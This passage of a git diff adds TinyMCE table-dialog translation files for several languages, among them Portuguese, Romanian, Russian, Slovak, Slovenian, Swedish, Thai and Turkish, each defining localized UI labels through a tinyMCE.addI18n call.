wiersza","align_middle":"\u015arodek","align_right":"Prawy","align_left":"Lewy","align_default":"Domy\u015blnie",align:"Wyr\u00f3wnanie",border:"Ramka",cellpadding:"Cellpadding",cellspacing:"Cellspacing",rows:"Wiersze",cols:"Kolumny",height:"Wysoko\u015b\u0107",width:"Szeroko\u015b\u0107",title:"Wklej/Zmie\u0144 tabel\u0119",rowtype:"Wiersz w cz\u0119\u015bci tabeli","advanced_props":"Zaawansowane w\u0142a\u015bciwo\u015bci","general_props":"G\u0142\u00f3wne w\u0142a\u015bciwo\u015bci","advanced_tab":"Zaawansowane","general_tab":"G\u0142\u00f3wne","cell_col":"Zaktualizuj wszystkie kom\u00f3rki w kolumnie"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/table/langs/pt_dlg.js b/js/tiny_mce2/plugins/table/langs/pt_dlg.js new file mode 100755 index 0000000..fb54400 --- /dev/null +++ b/js/tiny_mce2/plugins/table/langs/pt_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pt.table_dlg',{"rules_border":"Limites","rules_box":"Box","rules_vsides":"Vsides","rules_rhs":"Rhs","rules_lhs":"Lhs","rules_hsides":"Hsides","rules_below":"abaixo","rules_above":"acima","rules_void":"void",rules:"Regras","frame_all":"Todos","frame_cols":"colunas","frame_rows":"Linhas","frame_groups":"Grupos","frame_none":"Nenhum",frame:"Frame",caption:"T\u00edtulo da tabela","missing_scope":"Tem certeza de que quer continuar sem especificar um escopo para esta c\u00e9lula? (Isso poder\u00e1 causar dificuldades a usu\u00e1rios deficientes)","cell_limit":"Excedeu o n\u00famero m\u00e1ximo de c\u00e9lulas de {$cells}.","row_limit":"Excedeu o n\u00famero m\u00e1ximo de linhas de {$rows}.","col_limit":"Excedeu o n\u00famero m\u00e1ximo de colunas de {$cols}.",colgroup:"Grupo colunas",rowgroup:"Grupo linhas",scope:"Alcance",tfoot:"Rodap\u00e9 da tabela",tbody:"Corpo da tabela",thead:"Topo da tabela","row_all":"Atualizar todas as linhas","row_even":"Atualizar linhas pares","row_odd":"Atualizar linhas \u00edmpares","row_row":"Atualizar esta linha","cell_all":"Atualizar todas as c\u00e9lulas na tabela","cell_row":"Atualizar todas as c\u00e9lulas na linha","cell_cell":"Atualizar esta c\u00e9lula",th:"Campo",td:"Dados",summary:"Sum\u00e1rio",bgimage:"Imagem de fundo",rtl:"Da direita para a esquerda",ltr:"Da esquerda para a direita",mime:"MIME alvo",langcode:"C\u00f3digo do idioma",langdir:"Dire\u00e7\u00e3o do texto",style:"Estilo",id:"Id","merge_cells_title":"Unir c\u00e9lulas",bgcolor:"Cor de fundo",bordercolor:"Cor dos limites","align_bottom":"Abaixo","align_top":"Topo",valign:"Alinha. vert.","cell_type":"Tipo c\u00e9l.","cell_title":"Propriedades de c\u00e9lulas","row_title":"Propriedades de linhas","align_middle":"Centro","align_right":"Direita","align_left":"Esquerda","align_default":"Padr\u00e3o",align:"Alinha.",border:"Limites",cellpadding:"Enchimento da C\u00e9lula",cellspacing:"Espa\u00e7amento da C\u00e9lula",rows:"Linhas",cols:"Colunas",height:"Altura",width:"Largura",title:"Inserir/modificar tabela",rowtype:"Linha na parte da tabela","advanced_props":"Propriedades avan\u00e7adas","general_props":"Propriedades gerais","advanced_tab":"Avan\u00e7ado","general_tab":"Geral","cell_col":"Atualizar todas as c\u00e9lulas na coluna"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/table/langs/ro_dlg.js b/js/tiny_mce2/plugins/table/langs/ro_dlg.js new file mode 100755 index 0000000..c1974ed --- /dev/null +++ b/js/tiny_mce2/plugins/table/langs/ro_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ro.table_dlg',{"rules_border":"border","rules_box":"box","rules_vsides":"vsides","rules_rhs":"rhs","rules_lhs":"lhs","rules_hsides":"hsides","rules_below":"dedesubt","rules_above":"deasupra","rules_void":"gol",rules:"Reguli","frame_all":"toate","frame_cols":"coloane","frame_rows":"r\u00e2nduri","frame_groups":"grupuri","frame_none":"niciuna",frame:"Frame",caption:"Titlu tabel","missing_scope":"Sigur vrei s\u0103 continui f\u0103r\u0103 s\u0103 completezi scopul acestei celule antet? F\u0103r\u0103 acesta, anumi\u021bi utilizatori cu dizabilit\u0103\u021bi ar putea avea dificult\u0103\u021bi \u00een \u00een\u021belegerea datelor afi\u0219ate \u00een tabel.","cell_limit":"Ai dep\u0103\u0219it num\u0103rul maxim de celule: {$cells}.","row_limit":"Ai dep\u0103\u0219it num\u0103rul maxim de r\u00e2nduri: {$rows}.","col_limit":"Ai dep\u0103\u0219it num\u0103rul maxim de coloane: {$cols}.",colgroup:"Grupeaz\u0103 celulele",rowgroup:"Grupeaz\u0103 r\u00e2ndurile",scope:"Scop",tfoot:"Subsol tabel",tbody:"Corp tabel",thead:"Antet tabel","row_all":"Actualizeaz\u0103 toate r\u00e2ndurile","row_even":"Actualizeaz\u0103 r\u00e2ndurile pare","row_odd":"Actualizeaz\u0103 r\u00e2ndurile impare","row_row":"Actualizeaz\u0103 r\u00e2nd curent","cell_all":"Actualizeaz\u0103 toate celulele din tabel","cell_row":"Actualizeaz\u0103 toate celulele din r\u00e2nd","cell_cell":"Actualizeaz\u0103 celula curent\u0103",th:"Antet",td:"Date",summary:"Sumar",bgimage:"Imagine de fundal",rtl:"De la dreapta la st\u00e2nga",ltr:"De la st\u00e2nga la dreapta",mime:"MIME type \u021bint\u0103",langcode:"Cod limb\u0103",langdir:"Direc\u021bie limb\u0103",style:"Stil",id:"Id","merge_cells_title":"Une\u015fte celulele",bgcolor:"Culoare fundal",bordercolor:"Culoare bordur\u0103","align_bottom":"Jos","align_top":"Sus",valign:"Aliniere vertical\u0103","cell_type":"Tip celul\u0103","cell_title":"Propriet\u0103\u021bi celul\u0103","row_title":"Propriet\u0103\u021bi r\u00e2nd","align_middle":"Centru","align_right":"Dreapta","align_left":"St\u00e2nga","align_default":"Implicit\u0103",align:"Aliniere",border:"Bordur\u0103",cellpadding:"Spa\u021biu \u00een celule",cellspacing:"Spa\u021biu \u00eentre celule",rows:"R\u00e2nduri",cols:"Coloane",height:"\u00cen\u0103l\u021bime",width:"L\u0103\u021bime",title:"Inserare/editare tabel",rowtype:"Tip de r\u00e2nd","advanced_props":"Propriet\u0103\u021bi avansate","general_props":"Propriet\u0103\u021bi generale","advanced_tab":"Avansat","general_tab":"General","cell_col":"Actualizeaz\u0103 toate celulele din coloan\u0103"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/table/langs/ru_dlg.js b/js/tiny_mce2/plugins/table/langs/ru_dlg.js new file mode 100755 index 0000000..3bd8815 --- /dev/null +++ b/js/tiny_mce2/plugins/table/langs/ru_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ru.table_dlg',{"rules_border":"border","rules_box":"box","rules_vsides":"vsides","rules_rhs":"rhs","rules_lhs":"lhs","rules_hsides":"hsides","rules_below":"below","rules_above":"above","rules_void":"void",rules:"\u041f\u0440\u0430\u0432\u0438\u043b\u0430","frame_all":"\u0432\u0441\u0435","frame_cols":"\u043a\u043e\u043b\u043e\u043d\u043a\u0438","frame_rows":"\u0440\u044f\u0434\u044b","frame_groups":"\u0433\u0440\u0443\u043f\u043f\u044b","frame_none":"\u043d\u0435\u0442",frame:"\u041a\u0430\u0434\u0440",caption:"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u0442\u0430\u0431\u043b\u0438\u0446\u044b","missing_scope":"\u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u0442\u044c \u0431\u0435\u0437 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u043d\u0438\u044f \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u0437\u0430\u0433\u043b\u043e\u043b\u0432\u043a\u0430? \u0411\u0435\u0437 \u044d\u0442\u043e\u0433\u043e \u0431\u0443\u0434\u0435\u0442 \u0437\u0430\u0442\u0440\u0443\u0434\u043d\u0435\u043d\u043e \u0432\u043e\u0441\u043f\u0440\u0438\u044f\u0442\u0438\u0435 \u0442\u0430\u0431\u043b\u0438\u0446\u044b \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c.","cell_limit":"\u0414\u043e\u0441\u0442\u0438\u0433\u043d\u0443\u0442 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u0432\u0439 \u043f\u0440\u0435\u0434\u0435\u043b, \u0432 $ \u044f\u0447\u0435\u0435\u043a.","row_limit":"\u0414\u043e\u0441\u0442\u0438\u0433\u043d\u0443\u0442 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u0432\u0439 \u043f\u0440\u0435\u0434\u0435\u043b, \u0432 $ \u0441\u0442\u0440\u043e\u043a.","col_limit":"\u0414\u043e\u0441\u0442\u0438\u0433\u043d\u0443\u0442 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u0432\u0439 \u043f\u0440\u0435\u0434\u0435\u043b, \u0432 $ \u043a\u043e\u043b\u043e\u043d\u043e\u043a.",colgroup:"\u0413\u0440\u0443\u043f\u043f\u0430 \u0441\u0442\u043e\u043b\u0431\u0446\u043e\u0432",rowgroup:"\u0413\u0440\u0443\u043f\u043f\u0430 \u0441\u0442\u0440\u043e\u043a",scope:"\u041e\u0431\u043b\u0430\u0441\u0442\u044c",tfoot:"\u0417\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u0435",tbody:"\u0422\u0435\u043b\u043e",thead:"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a","row_all":"\u041e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0432\u0441\u0435 \u0441\u0442\u0440\u043e\u043a\u0438 \u0432 \u0442\u0430\u0431\u043b\u0438\u0446\u0435","row_even":"\u041e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0447\u0435\u0442\u043d\u044b\u0435 \u0441\u0442\u0440\u043e\u043a\u0438 \u0432 \u0442\u0430\u0431\u043b\u0438\u0446\u0435","row_odd":"\u041e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u043d\u0435\u0447\u0435\u0442\u043d\u044b\u0435 \u0441\u0442\u0440\u043e\u043a\u0438 \u0432 \u0442\u0430\u0431\u043b\u0438\u0446\u0435","row_row":"\u041e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0442\u0435\u043a\u0443\u0449\u0443\u044e \u0441\u0442\u0440\u043e\u043a\u0443","cell_all":"\u041e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0432\u0441\u0435 \u044f\u0447\u0435\u0439\u043a\u0438 \u0432 \u0442\u0430\u0431\u043b\u0438\u0446\u0435","cell_row":"\u041e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0432\u0441\u0435 \u044f\u0447\u0435\u0439\u043a\u0438 \u0432 \u0441\u0442\u0440\u043e\u043a\u0435","cell_cell":"\u041e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0442\u0435\u043a\u0443\u0449\u0443\u044e \u044f\u0447\u0435\u0439\u043a\u0443",th:"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a",td:"\u0414\u0430\u043d\u043d\u044b\u0435",summary:"\u041e\u0431\u0449\u0435\u0435",bgimage:"\u0424\u043e\u043d\u043e\u0432\u043e\u0435 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435",rtl:"\u0421\u043f\u0440\u0430\u0432\u0430 \u043d\u0430\u043b\u0435\u0432\u043e",ltr:"\u0421\u043b\u0435\u0432\u0430 \u043d\u0430\u043f\u0440\u0430\u0432\u043e",mime:"MIME \u0442\u0438\u043f \u0446\u0435\u043b\u0438",langcode:"\u041a\u043e\u0434 \u044f\u0437\u044b\u043a\u0430",langdir:"\u041d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0442\u0435\u043a\u0441\u0442\u0430",style:"\u0421\u0442\u0438\u043b\u044c",id:"\u0418\u043c\u044f","merge_cells_title":"\u041e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0442\u044c \u044f\u0447\u0435\u0439\u043a\u0438",bgcolor:"\u0426\u0432\u0435\u0442 \u0437\u0430\u043b\u0438\u0432\u043a\u0438",bordercolor:"\u0426\u0432\u0435\u0442 \u0433\u0440\u0430\u043d\u0438\u0446\u044b","align_bottom":"\u041f\u043e \u043d\u0438\u0436\u043d\u0435\u043c\u0443 \u043a\u0440\u0430\u044e","align_top":"\u041f\u043e \u0432\u0435\u0440\u0445\u043d\u0435\u043c\u0443 \u043a\u0440\u0430\u044e",valign:"\u0412\u0435\u0440\u0442. \u0432\u044b\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043d\u0438\u0435","cell_type":"\u0422\u0438\u043f","cell_title":"\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u044f\u0447\u0435\u0439\u043a\u0438","row_title":"\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0441\u0442\u0440\u043e\u043a\u0438","align_middle":"\u041f\u043e \u0446\u0435\u043d\u0442\u0440\u0443","align_right":"\u041f\u043e \u043f\u0440\u0430\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e","align_left":"\u041f\u043e \u043b\u0435\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e","align_default":"\u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e",align:"\u0412\u044b\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043d\u0438\u0435",border:"\u0413\u0440\u0430\u043d\u0438\u0446\u0430",cellpadding:"\u041e\u0442\u0441\u0442\u0443\u043f\u044b \u0432 \u044f\u0447\u0435\u0439\u043a\u0430\u0445",cellspacing:"\u0420\u0430\u0441\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 \u044f\u0447\u0435\u0439\u043a\u0430\u043c\u0438",rows:"\u0421\u0442\u0440\u043e\u043a\u0438",cols:"\u0421\u0442\u043e\u043b\u0431\u0446\u044b",height:"\u0412\u044b\u0441\u043e\u0442\u0430",width:"\u0428\u0438\u0440\u0438\u043d\u0430",title:"\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0442\u0430\u0431\u043b\u0438\u0446\u044b",rowtype:"\u0422\u0438\u043f \u0441\u0442\u0440\u043e\u043a\u0438","advanced_props":"\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b","general_props":"\u041e\u0431\u0449\u0438\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b","advanced_tab":"\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e","general_tab":"\u041e\u0431\u0449\u0435\u0435","cell_col":"\u041e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0432\u0441\u0435 \u044f\u0447\u0435\u0439\u043a\u0438 \u0432 \u0441\u0442\u043e\u043b\u0431\u0446\u0435"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/table/langs/sk_dlg.js b/js/tiny_mce2/plugins/table/langs/sk_dlg.js new file mode 100755 index 0000000..817f0e0 --- /dev/null +++ b/js/tiny_mce2/plugins/table/langs/sk_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sk.table_dlg',{"rules_border":"or\u00e1movanie okolo","rules_box":"box okolo","rules_vsides":"v\u013eavo a vpravo","rules_rhs":"vpravo","rules_lhs":"v\u013eavo","rules_hsides":"hore a dole","rules_below":"dole","rules_above":"hore","rules_void":"\u017eiadne",rules:"Vykreslenie mrie\u017eky","frame_all":"v\u0161etko","frame_cols":"st\u013apce","frame_rows":"riadky","frame_groups":"oblasti a skupiny st\u013apcov","frame_none":"\u017eiadna",frame:"Or\u00e1movanie tabu\u013eky",caption:"Nadpis tabu\u013eky","missing_scope":"Skuto\u010dne chcete pokra\u010dova\u0165 bez ur\u010denia oblasti hlavi\u010dky tejto tabu\u013eky? Bez nej m\u00f4\u017ee u niektor\u00fdch u\u017e\u00edvate\u013eov doch\u00e1dza\u0165 k ur\u010dit\u00fdm probl\u00e9mom pri inrtepret\u00e1cii a zobrazovan\u00ed d\u00e1t v tabu\u013eke.","cell_limit":"Prekro\u010dili ste maxim\u00e1lny po\u010det buniek {$cells}.","row_limit":"Prekro\u010dili ste maxim\u00e1lny po\u010det riadkov {$rows}.","col_limit":"Prekro\u010dili ste maxim\u00e1lny po\u010det st\u013apcov {$cols}.",colgroup:"Skupina st\u013apcov",rowgroup:"Skupina riadkov",scope:"Hlavi\u010dka pre",tfoot:"P\u00e4ta tabu\u013eky",tbody:"Telo tabu\u013eky",thead:"Hlavi\u010dka tabu\u013eky","row_all":"Aktualizova\u0165 v\u0161etky riadky tabu\u013eky","row_even":"Aktualizova\u0165 p\u00e1rne riadky tabu\u013eky","row_odd":"Aktualizova\u0165 nep\u00e1rne riadky tabu\u013eky","row_row":"Aktualizova\u0165 aktu\u00e1lny riadok","cell_all":"Aktualizova\u0165 v\u0161etky bunky v tabu\u013eke","cell_row":"Aktualizova\u0165 v\u0161etky bunky v riadku","cell_cell":"Aktualizova\u0165 aktu\u00e1lnu bunku",th:"Hlavi\u010dka",td:"D\u00e1ta",summary:"Obsah tabu\u013eky",bgimage:"Obr\u00e1zok pozadia",rtl:"Sprava do\u013eava",ltr:"Z\u013eava doprava",mime:"MIME typ cie\u013ea",langcode:"K\u00f3d jazyka",langdir:"Smer textu",style:"\u0160t\u00fdl",id:"ID","merge_cells_title":"Zl\u00fa\u010di\u0165 bunky",bgcolor:"Farba pozadia",bordercolor:"Farba or\u00e1movania","align_bottom":"Dolu","align_top":"Hore",valign:"Vertik\u00e1lne zarovnanie","cell_type":"Typ bunky","cell_title":"Vlastnosti bunky","row_title":"Vlastnosti riadkov","align_middle":"Na stred","align_right":"Vpravo","align_left":"V\u013eavo","align_default":"Predvolen\u00e9",align:"Zarovnanie",border:"Or\u00e1movanie",cellpadding:"Odsadenie obsahu",cellspacing:"Rozstup buniek",rows:"Riadky",cols:"St\u013apce",height:"V\u00fd\u0161ka",width:"\u0160\u00edrka",title:"Vlo\u017ei\u0165/Upravi\u0165 tabu\u013eku",rowtype:"Typ riadku","advanced_props":"Roz\u0161\u00edren\u00e9 parametre","general_props":"Obecn\u00e9 parametre","advanced_tab":"Roz\u0161\u00edren\u00e9","general_tab":"Obecn\u00e9","cell_col":"Aktualizova\u0165 v\u0161etky bunky v st\u013apci"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/table/langs/sl_dlg.js b/js/tiny_mce2/plugins/table/langs/sl_dlg.js new file mode 100755 index 0000000..52e1efe --- /dev/null +++ b/js/tiny_mce2/plugins/table/langs/sl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sl.table_dlg',{"rules_border":"obroba","rules_box":"\u0161katla","rules_vsides":"n-strani","rules_rhs":"d-strani","rules_lhs":"l-strani","rules_hsides":"v-strani","rules_below":"pod","rules_above":"nad","rules_void":"prazno",rules:"Pravila","frame_all":"vse","frame_cols":"stolpci","frame_rows":"vrstice","frame_groups":"skupine","frame_none":"brez",frame:"Okvir",caption:"Opis tabele","missing_scope":"Ste prepri\u010dani, da \u017eelite nadaljevati brez dolo\u010denega dosega? Brez dosega je razumevanje tabele lahko ote\u017eeno ljudem s slab\u0161o zaznavo!","cell_limit":"Presegli ste dovoljeno \u0161tevilo celic: {$cells}.","row_limit":"Presegli ste dovoljeno \u0161tevilo vrstic: {$rows}.","col_limit":"Presegli ste dovoljeno \u0161tevilo stolpcev: {$cols}.",colgroup:"Skup. stolp.",rowgroup:"Skup. vrst.",scope:"Doseg",tfoot:"Noga tabele",tbody:"Telo tabele",thead:"Glava tabele","row_all":"Posodobi vse vrstice","row_even":"Posodobi sode vrstice","row_odd":"Posodobi lihe vrstice","row_row":"Posodobi trenutno vrstico","cell_all":"Posodobi vse celice tabele","cell_row":"Posodobi vse celice vrstice","cell_cell":"Posodobi trenutno celico",th:"Glava",td:"Podatek",summary:"Povzetek",bgimage:"Slika ozadja",rtl:"Od desne proti levi",ltr:"Od leve proti desni",mime:"Ciljni tip MIME",langcode:"Koda jezika",langdir:"Smer pisave",style:"Slog",id:"Oznaka","merge_cells_title":"Spoji celice",bgcolor:"Barva ozadja",bordercolor:"Barva obrobe","align_bottom":"Dno","align_top":"Vrh",valign:"Navpi\u010dna poravnava","cell_type":"Tip celice","cell_title":"Lastnosti celice","row_title":"Lastnosti vrstice","align_middle":"Sredina","align_right":"Desno","align_left":"Levo","align_default":"Privzeto",align:"Poravnava",border:"Obroba",cellpadding:"Podlaganje celic",cellspacing:"Razmik celic",rows:"Vrstic",cols:"Stolpcev",height:"Vi\u0161ina",width:"\u0160irina",title:"Vstavi/posodobi tabelo",rowtype:"Vrstica v tabeli","advanced_props":"Napredne lastnosti","general_props":"Splo\u0161ne lastnosti","advanced_tab":"Napredno","general_tab":"Splo\u0161no","cell_col":"Posodobi vse celice v stolpcu"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/table/langs/sv_dlg.js b/js/tiny_mce2/plugins/table/langs/sv_dlg.js new file mode 100755 index 0000000..be7bc8b --- /dev/null +++ b/js/tiny_mce2/plugins/table/langs/sv_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sv.table_dlg',{"rules_border":"border","rules_box":"box","rules_vsides":"vsides","rules_rhs":"rhs","rules_lhs":"lhs","rules_hsides":"hsides","rules_below":"below","rules_above":"above","rules_void":"void",rules:"Regler","frame_all":"all","frame_cols":"cols","frame_rows":"rows","frame_groups":"groups","frame_none":"none",frame:"Ram",caption:"\u00d6verskrift","missing_scope":"\u00c4r du s\u00e4ker p\u00e5 att du vill forts\u00e4tta utan att ange en omfattning, denna underl\u00e4ttar f\u00f6r icke-grafiska webbl\u00e4sare.","cell_limit":"Du kan inte skapa en tabell med fler \u00e4n {$cells} celler.","row_limit":"Du kan inte ange fler \u00e4n {$rows} rader.","col_limit":"Du kan inte ange fler \u00e4n {$cols} kolumner.",colgroup:"Kolumngrupp",rowgroup:"Radgrupp",scope:"Omfattning",tfoot:"tabellfot",tbody:"tabellkropp",thead:"tabellhuvud","row_all":"Uppdatera alla rader i tabellen","row_even":"Uppdatera j\u00e4mna rader i tabellen","row_odd":"Uppdatera udda rader i tabellen","row_row":"Uppdatera nuvarande rad","cell_all":"Uppdatera alla celler i tabellen","cell_row":"Uppdatera alla celler i raden","cell_cell":"Uppdatera nuvarande cell",th:"Huvud",td:"Data",summary:"Sammanfattning",bgimage:"Bakgrundsbild",rtl:"H\u00f6ger till v\u00e4nster",ltr:"V\u00e4nster till h\u00f6ger",mime:"Target MIME type",langcode:"Spr\u00e5kkod",langdir:"Skriftriktning",style:"Stil",id:"Id","merge_cells_title":"Sammanfoga celler",bgcolor:"Bakgrundsf\u00e4rg",bordercolor:"Ramf\u00e4rg","align_bottom":"Botten","align_top":"Toppen",valign:"Vertikal justering","cell_type":"Celltyp","cell_title":"Tabellcellsinst\u00e4llningar","row_title":"Tabellradsinst\u00e4llningar","align_middle":"Mitten","align_right":"H\u00f6ger","align_left":"V\u00e4nster","align_default":"Ingen",align:"Justering",border:"Ram",cellpadding:"Cellpadding",cellspacing:"Cellspacing",rows:"Rader",cols:"Kolumner",height:"H\u00f6jd",width:"Bredd",title:"Infoga/redigera ny tabell",rowtype:"Radtyp","advanced_props":"Avancerade inst\u00e4llningar","general_props":"Generella inst\u00e4llningar","advanced_tab":"Avancerat","general_tab":"Generellt","cell_col":"Uppdatera alla celler i kolumn"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/table/langs/th_dlg.js b/js/tiny_mce2/plugins/table/langs/th_dlg.js new file mode 100755 index 0000000..e161380 --- /dev/null +++ b/js/tiny_mce2/plugins/table/langs/th_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('th.table_dlg',{"rules_border":"border","rules_box":"box","rules_vsides":"vsides","rules_rhs":"rhs","rules_lhs":"lhs","rules_hsides":"hsides","rules_below":"below","rules_above":"above","rules_void":"void",rules:"Rules","frame_all":"all","frame_cols":"cols","frame_rows":"rows","frame_groups":"groups","frame_none":"none",frame:"Frame",caption:"Table caption","missing_scope":"Are you sure you want to continue without specifying a scope for this table header cell. Without it, it may be difficult for some users with disabilities to understand the content or data displayed of the table.","cell_limit":"You\'ve exceeded the maximum number of cells of {$cells}.","row_limit":"You\'ve exceeded the maximum number of rows of {$rows}.","col_limit":"You\'ve exceeded the maximum number of columns of {$cols}.",colgroup:"Col Group",rowgroup:"Row Group",scope:"Scope",tfoot:"Table Foot",tbody:"Table Body",thead:"Table Head","row_all":"Update all rows in table","row_even":"Update even rows in table","row_odd":"Update odd rows in table","row_row":"Update current row","cell_all":"Update all cells in table","cell_row":"Update all cells in row","cell_cell":"Update current cell",th:"Header",td:"Data",summary:"Summary",bgimage:"\u0e1e\u0e37\u0e49\u0e19\u0e2b\u0e25\u0e31\u0e07 image",rtl:"\u0e02\u0e27\u0e32\u0e44\u0e1b\u0e0b\u0e49\u0e32\u0e22",ltr:"\u0e0b\u0e49\u0e32\u0e22\u0e44\u0e1b\u0e02\u0e27\u0e32",mime:"\u0e40\u0e1b\u0e49\u0e32\u0e2b\u0e21\u0e32\u0e22 MIME type",langcode:"\u0e42\u0e04\u0e4a\u0e14\u0e20\u0e32\u0e29\u0e32",langdir:"\u0e17\u0e34\u0e28\u0e17\u0e32\u0e07\u0e01\u0e32\u0e23\u0e2d\u0e48\u0e32\u0e19",style:"\u0e23\u0e39\u0e1b\u0e41\u0e1a\u0e1a",id:"Id","merge_cells_title":"Merge table cells",bgcolor:"\u0e2a\u0e35\u0e1e\u0e37\u0e49\u0e19\u0e2b\u0e25\u0e31\u0e07",bordercolor:"\u0e2a\u0e35\u0e01\u0e23\u0e2d\u0e1a","align_bottom":"\u0e25\u0e48\u0e32\u0e07","align_top":"\u0e1a\u0e19",valign:"Vertical alignment","cell_type":"Cell type","cell_title":"\u0e04\u0e38\u0e13\u0e2a\u0e21\u0e1a\u0e31\u0e15\u0e34\u0e40\u0e0b\u0e25\u0e25\u0e4c\u0e43\u0e19\u0e32\u0e23\u0e32\u0e07","row_title":"\u0e04\u0e38\u0e13\u0e2a\u0e21\u0e1a\u0e31\u0e15\u0e34\u0e41\u0e16\u0e27\u0e43\u0e19\u0e15\u0e32\u0e23\u0e32\u0e07","align_middle":"\u0e01\u0e25\u0e32\u0e07","align_right":"\u0e02\u0e27\u0e32","align_left":"\u0e0b\u0e49\u0e32\u0e22","align_default":"\u0e04\u0e48\u0e32\u0e40\u0e23\u0e34\u0e48\u0e21\u0e15\u0e49\u0e19",align:"\u0e15\u0e33\u0e41\u0e2b\u0e19\u0e48\u0e07\u0e08\u0e31\u0e14\u0e27\u0e32\u0e07",border:"\u0e01\u0e23\u0e2d\u0e1a",cellpadding:"Cellpadding",cellspacing:"Cellspacing",rows:"\u0e41\u0e16\u0e27",cols:"\u0e04\u0e2d\u0e25\u0e31\u0e21\u0e1e\u0e4c",height:"\u0e2a\u0e39\u0e07",width:"\u0e01\u0e27\u0e49\u0e32\u0e07",title:"\u0e40\u0e1e\u0e34\u0e48\u0e21/\u0e41\u0e01\u0e49\u0e44\u0e02 \u0e15\u0e32\u0e23\u0e32\u0e07",rowtype:"Row in table part","advanced_props":"\u0e04\u0e38\u0e13\u0e2a\u0e21\u0e1a\u0e31\u0e15\u0e34\u0e02\u0e31\u0e49\u0e19\u0e2a\u0e39\u0e07","general_props":"\u0e04\u0e38\u0e13\u0e2a\u0e21\u0e1a\u0e31\u0e15\u0e34\u0e17\u0e31\u0e48\u0e27\u0e44\u0e1b","advanced_tab":"\u0e02\u0e31\u0e49\u0e19\u0e2a\u0e39\u0e07","general_tab":"\u0e17\u0e31\u0e48\u0e27\u0e44\u0e1b","cell_col":"Update all cells in column"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/table/langs/tr_dlg.js b/js/tiny_mce2/plugins/table/langs/tr_dlg.js new file mode 100755 index 0000000..28020cf --- /dev/null +++ b/js/tiny_mce2/plugins/table/langs/tr_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('tr.table_dlg',{"rules_border":"kenarl\u0131k","rules_box":"kutu","rules_vsides":"dikey kenarlar","rules_rhs":"sa\u011f yatay kenarlar","rules_lhs":"sol yatay kenarlar","rules_hsides":"yatay kenarlar","rules_below":"alt\u0131nda","rules_above":"\u00fcst\u00fcnde","rules_void":"yok",rules:"\u00c7izgiler","frame_all":"t\u00fcm\u00fc","frame_cols":"s\u00fctunlar","frame_rows":"sat\u0131rlar","frame_groups":"gruplar","frame_none":"hi\u00e7biri",frame:"\u00c7er\u00e7eve",caption:"Tablo ba\u015fl\u0131\u011f\u0131","missing_scope":"Tablo ba\u015fl\u0131k h\u00fccresi i\u00e7in bir kapsam belirlemeden devam etmek istedi\u011finize emin misiniz? Bu de\u011fer olmadan, engelli kullan\u0131c\u0131lar tabloda g\u00f6sterilen verileri ve i\u00e7eri\u011fi anlamas\u0131 zordur.","cell_limit":"Maksimum h\u00fccre say\u0131s\u0131 ($cells) a\u015f\u0131ld\u0131.","row_limit":"Maksimum sat\u0131r say\u0131s\u0131 ($rows) a\u015f\u0131ld\u0131.","col_limit":"Maksimum s\u00fctun say\u0131s\u0131 ($cols) a\u015f\u0131ld\u0131.",colgroup:"S\u00fctun Grubu",rowgroup:"Sat\u0131r Grubu",scope:"Kapsam",tfoot:"Tablo 